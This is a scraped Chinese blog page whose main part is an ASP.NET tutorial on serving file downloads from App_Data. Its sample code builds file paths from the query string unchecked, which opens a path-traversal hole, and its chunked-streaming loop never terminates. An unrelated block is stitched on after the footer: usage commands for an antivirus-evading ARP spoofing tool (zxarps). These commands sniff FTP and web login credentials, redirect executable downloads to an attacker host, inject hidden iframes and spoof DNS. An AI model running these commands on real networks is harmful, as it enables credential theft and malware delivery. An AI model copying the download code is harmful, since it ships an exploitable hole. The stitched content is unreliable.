在ASP.NET程序中集成更好的下载体验

最近在写一个Web版本的文件管理器,正好又有朋友问起web页面上面可以让图片也变成下载模式的那种链接方式在ASP.NET里面怎么实现,我给他写了一个大概,觉得也应该当作笔记贴出来,帮他写的时候,突然发现很多问题自己也不是明白,所以逐一查找了一番,贴出来和大家分享!应用场景,很多时候都有盗链等各种各样的原因,用ASP.NET呢,最基本的一个问题,我的所有数据文件都保存在App_Data,这个文件夹和配置文件Web.Config一样,直接是无法访问其中内容的,所以如果里面上传了文件,无论是图片,还是压缩包,想下载就要通过某个点Response.WriteFile出去,不过在讨论的时候又发现了一些新的内容,如下:首先,是下载的基础,Http Header 的做两个设置:Content-Type : (这个~很无语的东西,每次都记不住,现查!Wiki)application/octet-stream 万金油型,什么文件都适合!application/x-zip-compressed 专门针对Zip文件的,但是在某些情况下有奇效,这个后面讲 Content-Disposition : 此属性设置内容输出的方式和属性,不大会使,常用就两种操作方式,一个是inline,另一个就是attachment;在输出类型之后可以跟着一些参数,在操作下载的时候如果我们不希望我们输出的文件编程abc.aspx的名字,就要设置filename的参数项,其他的参数项有:creation-date,modification-date,read-date,size。这些内容在后面讲高级的下载输出时会用得到哦。 只要对上述的两个设置项进行设置以后就可以正常输出问题了,还需要服务器段的代码,以下我列出了三个实现,第一个是最简单的原型,然后再它的基础上有一个备选,最后一个是一个来自MSDN的高级解决方案,没研究明白到底是否该用~最简单的实现:新建一个WebForm页面,然后在Page_load里面添加内容: protected void Page_Load(object sender, EventArgs e){if (null != Request.QueryString["key"]){string path = Request.PhysicalApplicationPath + @"App_Data/" + Request.QueryString["key"].Replace('/', Path.DirectorySeparatorChar); if (File.Exists(path)){FileInfo fi = new FileInfo(path); Response.Clear(); Response.ContentType = "application/octet-stream"; // 注意!这个地方一定要用AppendHeader。MSDN上很多地方指导使用// Response.Headers.Add 或 Response.AddHeader// 但是在MSDN中明确写出,这些都是为了兼容ASP,在.NET 3.5要求使用下面这种方式。// 如果使用了上述两种方式可能会产生“此操作要求使用 IIS 集成管线模式。 ”的异常。Response.AppendHeader("Content-Disposition", string.Format("attachment; filename=/"{0}/"",HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8))); Response.AppendHeader("Content-Length", fi.Length.ToString()); Response.WriteFile(fi.FullName); }elseResponse.Write(string.Format("access is error.{0} is no exist.", path)); }else{Response.Write("i need key!"); }}代码如上所示很简单,但是注释部分,我搞了小半个小时~感觉最近手艺有点潮。 上面对代码访问http://localhost:60534/WebForm1.aspx?key=[(目录)/](文件名)就可以访问的到了,这里面的实例都是通过Asp.NET WebForm来完成的,我在后面会附一个由IHttpHandler实现的代码实例,这样结合URL Rewriter可以做出来很好的访问方式。升级版本:Response.WriteFile使用起来很方便,但是当网站为浏览者提供大块头文件的下载服务时就会发现WriterFile简直就是恶梦,它会非常占用资源(以下是本人猜测,如果有不对的地方,请指正!) ,当你的快餐店来了一个胃口很大的客人,要了一百包薯条准备整个上午都在店里面看表格,恰好碰上一个死心眼的大厨,他总觉得自己应该在最快的时候内把所有的东西都做好,然后把它们完整的呈现在顾客的面前,结果呢!可想而知,那个顾客因为饥饿而晕倒在了自己的座位上!这就是我们今天要讲的内容,你的Server也许只有2G的内容,当然IIS的限制也正好在这个位置,但是如果同时有人发起了两个以上大文件的请求的时候,你的内存就会忙于装填那些将要发包出去的字节码,而这个动作可能会和其他千万个Action一起哄抢本来就不多的资源,有没有什么办法可以解决呢?我们来看看下面的方案(声明这个方案也不是我想出来的,出自MSDN Magazine,就是忘记哪一期了!):int chunkSize = 1000; byte[] buffer = new byte[chunkSize]; using (FileStream fs = fi.Open(FileMode.Open)){while (fs.Position >= 0 && Response.IsClientConnected){int tmp = fs.Read(buffer, 0, chunkSize); Response.OutputStream.Write(buffer, 0, tmp); Response.Flush(); }}代码很简单,就是用上面的代码替换掉Response.WriteFile方法,这样在内存中建立一个buffer的缓冲区(如果我的想法没有错的话,原理先放在一边,事实上这些代码确实起作用了!),然后去轮循字节信息,这样处理较第一种方式快很多输出1G的内容很快,但是没有进行具体测试,不知道会不会给CPU或是其他方面带来新的负载。而Response.IsClientConnected可以判断连接状态是否激活,就好比上面那个顾客只吃了50包,就撑倒了,那我们就需要把手头的事情放下,帮忙打个120。下面的压缩包是一个IHttpHandler实现的App_Data目录内容浏览和文件下载的示例,还有很多缺陷,比如说没有针对权限作出甄别监测,当然需要只是简单的管理权限,那就在节点里面配置一下也好,Web.config的配置代码如下:点击下载I.Controls.rar 备选版本:所谓高级版,其实又算是一个微软的私有定义了,使用TransmitFile可以分段输出,大家都知道IE支持断点续传的,但是有时候当我们下载一半中断之后,我们再去请求的时候,突然IE的普通下载就变成续传型了,很神奇,能碰到机会和出去逛街捡了一万块钱的几率相当。传说中在IE请求的时候会传入时会附加一个Header,叫做Range用来框定目前下载文件的长度,和已下载的字节位置,然后结合creation-date,modification-date去判断是否可以续连上一次下载的内容接着下载,但是这个又有一个新的麻烦的点,首先我用Reflector拆开TransmitFile看了一下,与WriteFile一样的实现机制,依然会有资源占有的问题,然后就是只针对IE,用Fiddler抓了一上午都没有发现FF或Opera之流,但是没有对迅雷或者是快车进行监测,不知道这个会不会再下载工具中有什么实际用途,最好的解决方案就是把range信息自己摘出来解析,然后自己去附加日期信息,用第二种方式缓冲输出。设想是这样的,因为我对HTTP请求不是很了解,请了解的站出来,指点一下。这个版本没有写,就是思考而已.- 传奇般的巴别塔 - 博客园
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
zxarps免杀版 -idx [index] 网卡索引号 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开 -sethost [ip] 默认是网关,可以指定别的IP -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口 -reset 恢复目标机的ARP表 -hostname 探测主机时获取主机名信息 -logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字, ','隔开关键字,多个条件'|'隔开 所有带+前缀的关键字都出现的包则写入文件 带-前缀的关键字出现的包不写入文件 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合) -save_a [filename] 将捕捉到的数据写入文件 ACSII模式 -save_h [filename] HEX模式 -hacksite [ip] 指定要插入代码的站点域名或IP, 多个可用','隔开,没指定则影响所有站点 -insert [html code]指定要插入html代码 -postfix [string] 关注的后缀名,只关注HTTP/1.1 302 -hackURL [url] 发现关注的后缀名后修改URL到新的URL -filename [name] 新URL上有效的资源文件名 -hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开 格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1 -Interval [ms] 定时欺骗的时间间隔,默认是3秒 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB example: 嗅探指定的IP段端口80的数据,并以HEX模式写入文件 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log FTP嗅探,在21或2121端口出现USER或PASS的数据包记录到文件 zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log 用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探 zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log 如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe 指定的IP段的用户访问到-hacksite的网址则只显示just for fun zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>" 指定的IP段的用户访问的所有网站都插入一个框架代码 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<8))e src='xx' width=0 height=0>" 指定的两个IP的总带宽限制到20KB zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20 DNS欺骗 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值